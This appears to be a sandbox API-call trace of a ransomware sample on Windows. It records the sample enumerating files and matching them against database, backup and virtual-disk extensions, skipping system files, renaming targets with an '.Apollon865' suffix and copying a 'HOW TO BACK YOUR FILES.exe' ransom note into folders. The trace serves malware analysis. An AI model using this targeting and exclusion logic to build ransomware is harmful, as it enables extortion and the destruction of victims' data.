	[0080.422] lstrlenW (lpString="pdb") returned 3
	[0080.422] lstrcmpiW (lpString1="sdf", lpString2="pdb") returned 1
	[0080.422] lstrlenW (lpString="pdm") returned 3
	[0080.422] lstrcmpiW (lpString1="sdf", lpString2="pdm") returned 1
	[0080.422] lstrlenW (lpString="pnz") returned 3
	[0080.422] lstrcmpiW (lpString1="sdf", lpString2="pnz") returned 1
	[0080.422] lstrlenW (lpString="qry") returned 3
	[0080.422] lstrcmpiW (lpString1="sdf", lpString2="qry") returned 1
	[0080.422] lstrlenW (lpString="qvd") returned 3
	[0080.422] lstrcmpiW (lpString1="sdf", lpString2="qvd") returned 1
	[0080.422] lstrlenW (lpString="rbf") returned 3
	[0080.422] lstrcmpiW (lpString1="sdf", lpString2="rbf") returned 1
	[0080.422] lstrlenW (lpString="rctd") returned 4
	[0080.422] lstrcmpiW (lpString1=".sdf", lpString2="rctd") returned -1
	[0080.422] lstrlenW (lpString="rod") returned 3
	[0080.422] lstrcmpiW (lpString1="sdf", lpString2="rod") returned 1
	[0080.422] lstrlenW (lpString="rodx") returned 4
	[0080.422] lstrcmpiW (lpString1=".sdf", lpString2="rodx") returned -1
	[0080.422] lstrlenW (lpString="rpd") returned 3
	[0080.422] lstrcmpiW (lpString1="sdf", lpString2="rpd") returned 1
	[0080.422] lstrlenW (lpString="rsd") returned 3
	[0080.423] lstrcmpiW (lpString1="sdf", lpString2="rsd") returned 1
	[0080.423] lstrlenW (lpString="sas7bdat") returned 8
	[0080.423] lstrcmpiW (lpString1="base.sdf", lpString2="sas7bdat") returned -1
	[0080.423] lstrlenW (lpString="sbf") returned 3
	[0080.423] lstrcmpiW (lpString1="sdf", lpString2="sbf") returned 1
	[0080.423] lstrlenW (lpString="scx") returned 3
	[0080.423] lstrcmpiW (lpString1="sdf", lpString2="scx") returned 1
	[0080.423] lstrlenW (lpString="sdb") returned 3
	[0080.423] lstrcmpiW (lpString1="sdf", lpString2="sdb") returned 1
	[0080.423] lstrlenW (lpString="sdc") returned 3
	[0080.423] lstrcmpiW (lpString1="sdf", lpString2="sdc") returned 1
	[0080.423] lstrlenW (lpString="sdf") returned 3
	[0080.423] lstrcmpiW (lpString1="sdf", lpString2="sdf") returned 0
	[0080.423] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e1e72ec, ftCreationTime.dwHighDateTime=0x1cb8927, ftLastAccessTime.dwLowDateTime=0x4e1e72ec, ftLastAccessTime.dwHighDateTime=0x1cb8927, ftLastWriteTime.dwLowDateTime=0xbddddec0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RacMetaData.dat", cAlternateFileName="RACMET~1.DAT")) returned 1
	[0080.423] lstrcmpiW (lpString1="RacMetaData.dat", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.423] lstrcmpiW (lpString1="RacMetaData.dat", lpString2="Apollon865.txt.exe") returned 1
	[0080.423] lstrcmpiW (lpString1="RacMetaData.dat", lpString2=".") returned 1
	[0080.423] lstrcmpiW (lpString1="RacMetaData.dat", lpString2="..") returned 1
	[0080.423] lstrcmpiW (lpString1="RacMetaData.dat", lpString2="windows") returned -1
	[0080.423] lstrcmpiW (lpString1="RacMetaData.dat", lpString2="bootmgr") returned 1
	[0080.423] lstrcmpiW (lpString1="RacMetaData.dat", lpString2="temp") returned -1
	[0080.423] lstrcmpiW (lpString1="RacMetaData.dat", lpString2="pagefile.sys") returned 1
	[0080.423] lstrcmpiW (lpString1="RacMetaData.dat", lpString2="boot") returned 1
	[0080.423] lstrcmpiW (lpString1="RacMetaData.dat", lpString2="ids.txt") returned 1
	[0080.423] lstrcmpiW (lpString1="RacMetaData.dat", lpString2="ntuser.dat") returned 1
	[0080.423] lstrcmpiW (lpString1="RacMetaData.dat", lpString2="perflogs") returned 1
	[0080.423] lstrcmpiW (lpString1="RacMetaData.dat", lpString2="MSBuild") returned 1
	[0080.423] lstrlenW (lpString="RacMetaData.dat") returned 15
	[0080.423] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf") returned 58
	[0080.423] lstrcpyW (in: lpString1=0x119e65e, lpString2="RacMetaData.dat" | out: lpString1="RacMetaData.dat") returned="RacMetaData.dat"
	[0080.423] lstrlenW (lpString="RacMetaData.dat") returned 15
	[0080.423] lstrlenW (lpString="Apollon865") returned 10
	[0080.423] lstrcmpiW (lpString1="taData.dat", lpString2="Apollon865") returned 1
	[0080.423] lstrlenW (lpString=".dll") returned 4
	[0080.423] lstrcmpiW (lpString1="RacMetaData.dat", lpString2=".dll") returned 1
	[0080.423] lstrlenW (lpString=".lnk") returned 4
	[0080.423] lstrcmpiW (lpString1="RacMetaData.dat", lpString2=".lnk") returned 1
	[0080.424] lstrlenW (lpString=".ini") returned 4
	[0080.424] lstrcmpiW (lpString1="RacMetaData.dat", lpString2=".ini") returned 1
	[0080.424] lstrlenW (lpString=".sys") returned 4
	[0080.424] lstrcmpiW (lpString1="RacMetaData.dat", lpString2=".sys") returned 1
	[0080.424] lstrlenW (lpString="RacMetaData.dat") returned 15
	[0080.424] lstrlenW (lpString="bak") returned 3
	[0080.424] lstrcmpiW (lpString1="dat", lpString2="bak") returned 1
	[0080.424] lstrlenW (lpString="ba_") returned 3
	[0080.424] lstrcmpiW (lpString1="dat", lpString2="ba_") returned 1
	[0080.424] lstrlenW (lpString="dbb") returned 3
	[0080.424] lstrcmpiW (lpString1="dat", lpString2="dbb") returned -1
	[0080.424] lstrlenW (lpString="vmdk") returned 4
	[0080.424] lstrcmpiW (lpString1=".dat", lpString2="vmdk") returned -1
	[0080.424] lstrlenW (lpString="rar") returned 3
	[0080.424] lstrcmpiW (lpString1="dat", lpString2="rar") returned -1
	[0080.424] lstrlenW (lpString="zip") returned 3
	[0080.424] lstrcmpiW (lpString1="dat", lpString2="zip") returned -1
	[0080.424] lstrlenW (lpString="tgz") returned 3
	[0080.424] lstrcmpiW (lpString1="dat", lpString2="tgz") returned -1
	[0080.424] lstrlenW (lpString="vbox") returned 4
	[0080.424] lstrcmpiW (lpString1=".dat", lpString2="vbox") returned -1
	[0080.424] lstrlenW (lpString="vdi") returned 3
	[0080.424] lstrcmpiW (lpString1="dat", lpString2="vdi") returned -1
	[0080.424] lstrlenW (lpString="vhd") returned 3
	[0080.424] lstrcmpiW (lpString1="dat", lpString2="vhd") returned -1
	[0080.424] lstrlenW (lpString="vhdx") returned 4
	[0080.424] lstrcmpiW (lpString1=".dat", lpString2="vhdx") returned -1
	[0080.424] lstrlenW (lpString="avhd") returned 4
	[0080.424] lstrcmpiW (lpString1=".dat", lpString2="avhd") returned -1
	[0080.424] lstrlenW (lpString="db") returned 2
	[0080.424] lstrcmpiW (lpString1="at", lpString2="db") returned -1
	[0080.424] lstrlenW (lpString="db2") returned 3
	[0080.424] lstrcmpiW (lpString1="dat", lpString2="db2") returned -1
	[0080.424] lstrlenW (lpString="db3") returned 3
	[0080.424] lstrcmpiW (lpString1="dat", lpString2="db3") returned -1
	[0080.424] lstrlenW (lpString="dbf") returned 3
	[0080.424] lstrcmpiW (lpString1="dat", lpString2="dbf") returned -1
	[0080.425] lstrlenW (lpString="mdf") returned 3
	[0080.425] lstrcmpiW (lpString1="dat", lpString2="mdf") returned -1
	[0080.425] lstrlenW (lpString="mdb") returned 3
	[0080.425] lstrcmpiW (lpString1="dat", lpString2="mdb") returned -1
	[0080.425] lstrlenW (lpString="sql") returned 3
	[0080.425] lstrcmpiW (lpString1="dat", lpString2="sql") returned -1
	[0080.425] lstrlenW (lpString="sqlite") returned 6
	[0080.425] lstrcmpiW (lpString1="ta.dat", lpString2="sqlite") returned 1
	[0080.425] lstrlenW (lpString="sqlite3") returned 7
	[0080.425] lstrcmpiW (lpString1="ata.dat", lpString2="sqlite3") returned -1
	[0080.425] lstrlenW (lpString="sqlitedb") returned 8
	[0080.425] lstrcmpiW (lpString1="Data.dat", lpString2="sqlitedb") returned -1
	[0080.425] lstrlenW (lpString="xml") returned 3
	[0080.425] lstrcmpiW (lpString1="dat", lpString2="xml") returned -1
	[0080.425] lstrlenW (lpString="$er") returned 3
	[0080.425] lstrcmpiW (lpString1="dat", lpString2="$er") returned 1
	[0080.425] lstrlenW (lpString="4dd") returned 3
	[0080.425] lstrcmpiW (lpString1="dat", lpString2="4dd") returned 1
	[0080.425] lstrlenW (lpString="4dl") returned 3
	[0080.425] lstrcmpiW (lpString1="dat", lpString2="4dl") returned 1
	[0080.425] lstrlenW (lpString="^^^") returned 3
	[0080.425] lstrcmpiW (lpString1="dat", lpString2="^^^") returned 1
	[0080.425] lstrlenW (lpString="abs") returned 3
	[0080.425] lstrcmpiW (lpString1="dat", lpString2="abs") returned 1
	[0080.425] lstrlenW (lpString="abx") returned 3
	[0080.425] lstrcmpiW (lpString1="dat", lpString2="abx") returned 1
	[0080.425] lstrlenW (lpString="accdb") returned 5
	[0080.425] lstrcmpiW (lpString1="a.dat", lpString2="accdb") returned -1
	[0080.425] lstrlenW (lpString="accdc") returned 5
	[0080.425] lstrcmpiW (lpString1="a.dat", lpString2="accdc") returned -1
	[0080.425] lstrlenW (lpString="accde") returned 5
	[0080.425] lstrcmpiW (lpString1="a.dat", lpString2="accde") returned -1
	[0080.425] lstrlenW (lpString="accdr") returned 5
	[0080.425] lstrcmpiW (lpString1="a.dat", lpString2="accdr") returned -1
	[0080.425] lstrlenW (lpString="accdt") returned 5
	[0080.425] lstrcmpiW (lpString1="a.dat", lpString2="accdt") returned -1
	[0080.425] lstrlenW (lpString="accdw") returned 5
	[0080.425] lstrcmpiW (lpString1="a.dat", lpString2="accdw") returned -1
	[0080.425] lstrlenW (lpString="accft") returned 5
	[0080.426] lstrcmpiW (lpString1="a.dat", lpString2="accft") returned -1
	[0080.426] lstrlenW (lpString="adb") returned 3
	[0080.426] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1
	[0080.426] lstrlenW (lpString="adb") returned 3
	[0080.426] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1
	[0080.426] lstrlenW (lpString="ade") returned 3
	[0080.426] lstrcmpiW (lpString1="dat", lpString2="ade") returned 1
	[0080.426] lstrlenW (lpString="adf") returned 3
	[0080.426] lstrcmpiW (lpString1="dat", lpString2="adf") returned 1
	[0080.426] lstrlenW (lpString="adn") returned 3
	[0080.426] lstrcmpiW (lpString1="dat", lpString2="adn") returned 1
	[0080.426] lstrlenW (lpString="adp") returned 3
	[0080.426] lstrcmpiW (lpString1="dat", lpString2="adp") returned 1
	[0080.426] lstrlenW (lpString="alf") returned 3
	[0080.426] lstrcmpiW (lpString1="dat", lpString2="alf") returned 1
	[0080.426] lstrlenW (lpString="ask") returned 3
	[0080.426] lstrcmpiW (lpString1="dat", lpString2="ask") returned 1
	[0080.426] lstrlenW (lpString="btr") returned 3
	[0080.426] lstrcmpiW (lpString1="dat", lpString2="btr") returned 1
	[0080.426] lstrlenW (lpString="cat") returned 3
	[0080.426] lstrcmpiW (lpString1="dat", lpString2="cat") returned 1
	[0080.426] lstrlenW (lpString="cdb") returned 3
	[0080.426] lstrcmpiW (lpString1="dat", lpString2="cdb") returned 1
	[0080.426] lstrlenW (lpString="ckp") returned 3
	[0080.426] lstrcmpiW (lpString1="dat", lpString2="ckp") returned 1
	[0080.426] lstrlenW (lpString="cma") returned 3
	[0080.426] lstrcmpiW (lpString1="dat", lpString2="cma") returned 1
	[0080.426] lstrlenW (lpString="cpd") returned 3
	[0080.426] lstrcmpiW (lpString1="dat", lpString2="cpd") returned 1
	[0080.426] lstrlenW (lpString="dacpac") returned 6
	[0080.426] lstrcmpiW (lpString1="ta.dat", lpString2="dacpac") returned 1
	[0080.426] lstrlenW (lpString="dad") returned 3
	[0080.426] lstrcmpiW (lpString1="dat", lpString2="dad") returned 1
	[0080.426] lstrlenW (lpString="dadiagrams") returned 10
	[0080.426] lstrcmpiW (lpString1="taData.dat", lpString2="dadiagrams") returned 1
	[0080.426] lstrlenW (lpString="daschema") returned 8
	[0080.426] lstrcmpiW (lpString1="Data.dat", lpString2="daschema") returned 1
	[0080.426] lstrlenW (lpString="db-journal") returned 10
	[0080.426] lstrcmpiW (lpString1="taData.dat", lpString2="db-journal") returned 1
	[0080.427] lstrlenW (lpString="db-shm") returned 6
	[0080.427] lstrcmpiW (lpString1="ta.dat", lpString2="db-shm") returned 1
	[0080.427] lstrlenW (lpString="db-wal") returned 6
	[0080.427] lstrcmpiW (lpString1="ta.dat", lpString2="db-wal") returned 1
	[0080.427] lstrlenW (lpString="dbc") returned 3
	[0080.427] lstrcmpiW (lpString1="dat", lpString2="dbc") returned -1
	[0080.427] lstrlenW (lpString="dbs") returned 3
	[0080.427] lstrcmpiW (lpString1="dat", lpString2="dbs") returned -1
	[0080.427] lstrlenW (lpString="dbt") returned 3
	[0080.427] lstrcmpiW (lpString1="dat", lpString2="dbt") returned -1
	[0080.427] lstrlenW (lpString="dbv") returned 3
	[0080.427] lstrcmpiW (lpString1="dat", lpString2="dbv") returned -1
	[0080.427] lstrlenW (lpString="dbx") returned 3
	[0080.427] lstrcmpiW (lpString1="dat", lpString2="dbx") returned -1
	[0080.427] lstrlenW (lpString="dcb") returned 3
	[0080.427] lstrcmpiW (lpString1="dat", lpString2="dcb") returned -1
	[0080.427] lstrlenW (lpString="dct") returned 3
	[0080.427] lstrcmpiW (lpString1="dat", lpString2="dct") returned -1
	[0080.427] lstrlenW (lpString="dcx") returned 3
	[0080.427] lstrcmpiW (lpString1="dat", lpString2="dcx") returned -1
	[0080.427] lstrlenW (lpString="ddl") returned 3
	[0080.427] lstrcmpiW (lpString1="dat", lpString2="ddl") returned -1
	[0080.427] lstrlenW (lpString="dlis") returned 4
	[0080.427] lstrcmpiW (lpString1=".dat", lpString2="dlis") returned -1
	[0080.427] lstrlenW (lpString="dp1") returned 3
	[0080.427] lstrcmpiW (lpString1="dat", lpString2="dp1") returned -1
	[0080.427] lstrlenW (lpString="dqy") returned 3
	[0080.427] lstrcmpiW (lpString1="dat", lpString2="dqy") returned -1
	[0080.427] lstrlenW (lpString="dsk") returned 3
	[0080.427] lstrcmpiW (lpString1="dat", lpString2="dsk") returned -1
	[0080.427] lstrlenW (lpString="dsn") returned 3
	[0080.427] lstrcmpiW (lpString1="dat", lpString2="dsn") returned -1
	[0080.427] lstrlenW (lpString="dtsx") returned 4
	[0080.427] lstrcmpiW (lpString1=".dat", lpString2="dtsx") returned -1
	[0080.427] lstrlenW (lpString="dxl") returned 3
	[0080.427] lstrcmpiW (lpString1="dat", lpString2="dxl") returned -1
	[0080.427] lstrlenW (lpString="eco") returned 3
	[0080.427] lstrcmpiW (lpString1="dat", lpString2="eco") returned -1
	[0080.428] lstrlenW (lpString="ecx") returned 3
	[0080.428] lstrcmpiW (lpString1="dat", lpString2="ecx") returned -1
	[0080.428] lstrlenW (lpString="edb") returned 3
	[0080.428] lstrcmpiW (lpString1="dat", lpString2="edb") returned -1
	[0080.428] lstrlenW (lpString="epim") returned 4
	[0080.428] lstrcmpiW (lpString1=".dat", lpString2="epim") returned -1
	[0080.428] lstrlenW (lpString="fcd") returned 3
	[0080.428] lstrcmpiW (lpString1="dat", lpString2="fcd") returned -1
	[0080.428] lstrlenW (lpString="fdb") returned 3
	[0080.428] lstrcmpiW (lpString1="dat", lpString2="fdb") returned -1
	[0080.428] lstrlenW (lpString="fic") returned 3
	[0080.428] lstrcmpiW (lpString1="dat", lpString2="fic") returned -1
	[0080.428] lstrlenW (lpString="flexolibrary") returned 12
	[0080.428] lstrcmpiW (lpString1="MetaData.dat", lpString2="flexolibrary") returned 1
	[0080.428] lstrlenW (lpString="fm5") returned 3
	[0080.428] lstrcmpiW (lpString1="dat", lpString2="fm5") returned -1
	[0080.428] lstrlenW (lpString="fmp") returned 3
	[0080.428] lstrcmpiW (lpString1="dat", lpString2="fmp") returned -1
	[0080.428] lstrlenW (lpString="fmp12") returned 5
	[0080.428] lstrcmpiW (lpString1="a.dat", lpString2="fmp12") returned -1
	[0080.428] lstrlenW (lpString="fmpsl") returned 5
	[0080.428] lstrcmpiW (lpString1="a.dat", lpString2="fmpsl") returned -1
	[0080.428] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacMetaData.dat.Apollon865") returned 69
	[0080.428] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacMetaData.dat" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\racmetadata.dat"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacMetaData.dat.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\racmetadata.dat.apollon865"), dwFlags=0x1) returned 0
	[0080.429] GetLastError () returned 0x20
	[0080.429] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacMetaData.dat MoveFileEx error 32\r\n") returned 88
	[0080.429] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacMetaData.dat MoveFileEx error 32\r\n") returned 88
	[0080.429] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0080.429] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x56b9
	[0080.429] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x58, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x58, lpOverlapped=0x0) returned 1
	[0080.429] CloseHandle (hObject=0x9c) returned 1
	[0080.429] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0080.430] CloseHandle (hObject=0x0) returned 0
	[0080.430] CloseHandle (hObject=0x0) returned 0
	[0080.430] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e1e72ec, ftCreationTime.dwHighDateTime=0x1cb8927, ftLastAccessTime.dwLowDateTime=0x4e1e72ec, ftLastAccessTime.dwHighDateTime=0x1cb8927, ftLastWriteTime.dwLowDateTime=0xbddddec0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RacMetaData.dat", cAlternateFileName="RACMET~1.DAT")) returned 0
	[0080.430] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0080.430] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7c90
	[0080.430] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData") returned="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData"
	[0080.430] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c55f8 | out: hHeap=0x580000) returned 1
	[0080.430] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0080.430] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData") returned 46
	[0080.430] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData" | out: lpString1="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData") returned="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData"
	[0080.430] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0080.430] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\rac\\publisheddata\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0080.430] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0080.431] GetLastError () returned 0x0
	[0080.431] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0080.431] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0080.431] CloseHandle (hObject=0x10c) returned 1
	[0080.431] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0080.431] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0080.431] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2f9cac10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f9cac10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0080.431] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.431] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0080.431] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0080.431] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2f9cac10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f9cac10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.431] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.431] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0080.431] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0080.431] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0080.431] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f9cac10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f9cac10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0080.431] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0080.432] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xece09220, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1d4062a0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x419ab0b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RacWmiDatabase.sdf", cAlternateFileName="RACWMI~1.SDF")) returned 1
	[0080.432] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.432] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2="Apollon865.txt.exe") returned 1
	[0080.432] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2=".") returned 1
	[0080.432] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2="..") returned 1
	[0080.432] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2="windows") returned -1
	[0080.432] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2="bootmgr") returned 1
	[0080.432] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2="temp") returned -1
	[0080.432] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2="pagefile.sys") returned 1
	[0080.432] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2="boot") returned 1
	[0080.432] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2="ids.txt") returned 1
	[0080.432] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2="ntuser.dat") returned 1
	[0080.432] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2="perflogs") returned 1
	[0080.432] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2="MSBuild") returned 1
	[0080.432] lstrlenW (lpString="RacWmiDatabase.sdf") returned 18
	[0080.432] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\*") returned 48
	[0080.432] lstrcpyW (in: lpString1=0x119e666, lpString2="RacWmiDatabase.sdf" | out: lpString1="RacWmiDatabase.sdf") returned="RacWmiDatabase.sdf"
	[0080.432] lstrlenW (lpString="RacWmiDatabase.sdf") returned 18
	[0080.432] lstrlenW (lpString="Apollon865") returned 10
	[0080.432] lstrcmpiW (lpString1="tabase.sdf", lpString2="Apollon865") returned 1
	[0080.432] lstrlenW (lpString=".dll") returned 4
	[0080.432] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2=".dll") returned 1
	[0080.432] lstrlenW (lpString=".lnk") returned 4
	[0080.432] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2=".lnk") returned 1
	[0080.432] lstrlenW (lpString=".ini") returned 4
	[0080.432] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2=".ini") returned 1
	[0080.432] lstrlenW (lpString=".sys") returned 4
	[0080.432] lstrcmpiW (lpString1="RacWmiDatabase.sdf", lpString2=".sys") returned 1
	[0080.432] lstrlenW (lpString="RacWmiDatabase.sdf") returned 18
	[0080.432] lstrlenW (lpString="bak") returned 3
	[0080.432] lstrcmpiW (lpString1="sdf", lpString2="bak") returned 1
	[0080.432] lstrlenW (lpString="ba_") returned 3
	[0080.432] lstrcmpiW (lpString1="sdf", lpString2="ba_") returned 1
	[0080.432] lstrlenW (lpString="dbb") returned 3
	[0080.432] lstrcmpiW (lpString1="sdf", lpString2="dbb") returned 1
	[0080.432] lstrlenW (lpString="vmdk") returned 4
	[0080.432] lstrcmpiW (lpString1=".sdf", lpString2="vmdk") returned -1
	[0080.432] lstrlenW (lpString="rar") returned 3
	[0080.433] lstrcmpiW (lpString1="sdf", lpString2="rar") returned 1
	[0080.433] lstrlenW (lpString="zip") returned 3
	[0080.433] lstrcmpiW (lpString1="sdf", lpString2="zip") returned -1
	[0080.433] lstrlenW (lpString="tgz") returned 3
	[0080.433] lstrcmpiW (lpString1="sdf", lpString2="tgz") returned -1
	[0080.433] lstrlenW (lpString="vbox") returned 4
	[0080.433] lstrcmpiW (lpString1=".sdf", lpString2="vbox") returned -1
	[0080.433] lstrlenW (lpString="vdi") returned 3
	[0080.433] lstrcmpiW (lpString1="sdf", lpString2="vdi") returned -1
	[0080.433] lstrlenW (lpString="vhd") returned 3
	[0080.433] lstrcmpiW (lpString1="sdf", lpString2="vhd") returned -1
	[0080.433] lstrlenW (lpString="vhdx") returned 4
	[0080.433] lstrcmpiW (lpString1=".sdf", lpString2="vhdx") returned -1
	[0080.433] lstrlenW (lpString="avhd") returned 4
	[0080.433] lstrcmpiW (lpString1=".sdf", lpString2="avhd") returned -1
	[0080.433] lstrlenW (lpString="db") returned 2
	[0080.433] lstrcmpiW (lpString1="df", lpString2="db") returned 1
